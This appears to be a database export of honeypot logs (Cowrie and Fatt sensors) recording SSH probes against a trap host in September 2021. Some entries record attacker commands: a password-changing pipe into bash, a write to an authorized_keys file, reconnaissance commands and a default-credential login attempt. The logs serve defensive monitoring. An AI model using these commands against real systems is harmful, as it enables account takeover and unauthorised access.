31776	189.50.42.214	109.199.241.180	Fatt	2021-09-20 14:47:52.430114+03	2021-09-20 15:00:02.609716+03	{"_id": "fAYIA3wBvYTbRNuEsEZx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34238, "dest_port": 22, "timestamp": "2021-09-20T11:47:52.430114", "@timestamp": "2021-09-20T11:47:52.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31777	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.190356+03	2021-09-20 15:00:02.610717+03	{"_id": "fgYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "163.172.167.225", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "6436ece08441", "@version": "1", "destfile": "/home/testftp/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:47:53.190356Z", "@timestamp": "2021-09-20T11:47:53.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
31778	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.584937+03	2021-09-20 15:00:02.611716+03	{"_id": "gQYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.584937Z", "@timestamp": "2021-09-20T11:47:53.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
31779	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.111249+03	2021-09-20 15:00:02.612716+03	{"_id": "hgYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.111249Z", "@timestamp": "2021-09-20T11:47:53.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31780	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.192508+03	2021-09-20 15:00:02.614718+03	{"_id": "hAYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "163.172.167.225", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08135032653808594, "duplicate": true, "timestamp": "2021-09-20T11:47:53.192508Z", "@timestamp": "2021-09-20T11:47:53.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31781	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.354556+03	2021-09-20 15:00:02.615718+03	{"_id": "iQYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.354556Z", "@timestamp": "2021-09-20T11:47:53.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31782	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.43291+03	2021-09-20 15:00:02.616716+03	{"_id": "igYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "163.172.167.225", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07897353172302246, "duplicate": true, "timestamp": "2021-09-20T11:47:53.432910Z", "@timestamp": "2021-09-20T11:47:53.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31783	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:47:53.458818+03	2021-09-20 15:00:02.618717+03	{"_id": "iwYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [pi/bananapi] failed", "session": "f9b174d04a58", "@version": "1", "password": "bananapi", "username": "pi", "timestamp": "2021-09-20T11:47:53.458818Z", "@timestamp": "2021-09-20T11:47:53.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31784	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.582827+03	2021-09-20 15:00:02.619717+03	{"_id": "jAYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.582827Z", "@timestamp": "2021-09-20T11:47:53.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31785	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.583368+03	2021-09-20 15:00:02.620717+03	{"_id": "jQYIA3wBvYTbRNuEsUbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "echo -e \\"testftp1\\\\neJR4qwYmsEkB\\\\neJR4qwYmsEkB\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"testftp1\\\\neJR4qwYmsEkB\\\\neJR4qwYmsEkB\\"|passwd|bash", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.583368Z", "@timestamp": "2021-09-20T11:47:53.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31787	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.150288+03	2021-09-20 15:00:02.622716+03	{"_id": "jwYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "163.172.167.225", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08866310119628906, "duplicate": true, "timestamp": "2021-09-20T11:47:54.150288Z", "@timestamp": "2021-09-20T11:47:54.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31788	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.387416+03	2021-09-20 15:00:02.624717+03	{"_id": "kgYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "163.172.167.225", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07848024368286133, "duplicate": true, "timestamp": "2021-09-20T11:47:54.387416Z", "@timestamp": "2021-09-20T11:47:54.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31789	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.537312+03	2021-09-20 15:00:02.625716+03	{"_id": "kwYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.537312Z", "@timestamp": "2021-09-20T11:47:54.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31790	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.537854+03	2021-09-20 15:00:02.626716+03	{"_id": "lAYIA3wBvYTbRNuEtUas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.537854Z", "@timestamp": "2021-09-20T11:47:54.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31791	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.893619+03	2021-09-20 15:00:02.627716+03	{"_id": "mQYIA3wBvYTbRNuEtUau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "37505f4137ac4c3c17c69cbea77c988d9d73d447716302b9c5326d1256efc8e4", "src_ip": "163.172.167.225", "ttylog": "log/tty/37505f4137ac4c3c17c69cbea77c988d9d73d447716302b9c5326d1256efc8e4", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/37505f4137ac4c3c17c69cbea77c988d9d73d447716302b9c5326d1256efc8e4 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08129358291625977, "duplicate": false, "timestamp": "2021-09-20T11:47:53.893619Z", "@timestamp": "2021-09-20T11:47:53.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31792	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.616256+03	2021-09-20 15:00:02.629718+03	{"_id": "lgYIA3wBvYTbRNuEtUas", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "163.172.167.225", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07904458045959473, "duplicate": true, "timestamp": "2021-09-20T11:47:54.616256Z", "@timestamp": "2021-09-20T11:47:54.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31793	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:47:54.775499+03	2021-09-20 15:00:02.630717+03	{"_id": "mwYIA3wBvYTbRNuEtUau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f9b174d04a58", "@version": "1", "duration": 2.5829288959503174, "timestamp": "2021-09-20T11:47:54.775499Z", "@timestamp": "2021-09-20T11:47:54.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31794	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.85243+03	2021-09-20 15:00:02.631716+03	{"_id": "oQYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "163.172.167.225", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.07923722267150879, "duplicate": true, "timestamp": "2021-09-20T11:47:54.852430Z", "@timestamp": "2021-09-20T11:47:54.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31795	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.028324+03	2021-09-20 15:00:02.632717+03	{"_id": "pQYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.028324Z", "@timestamp": "2021-09-20T11:47:55.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31796	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.758415+03	2021-09-20 15:00:02.633716+03	{"_id": "owYIA3wBvYTbRNuEuUaU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:55.758415Z", "@timestamp": "2021-09-20T11:47:55.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31797	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:55.842472+03	2021-09-20 15:00:02.634716+03	{"_id": "sAYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "163.172.167.225", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "6436ece08441", "@version": "1", "duration": 0.08413887023925781, "duplicate": true, "timestamp": "2021-09-20T11:47:55.842472Z", "@timestamp": "2021-09-20T11:47:55.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
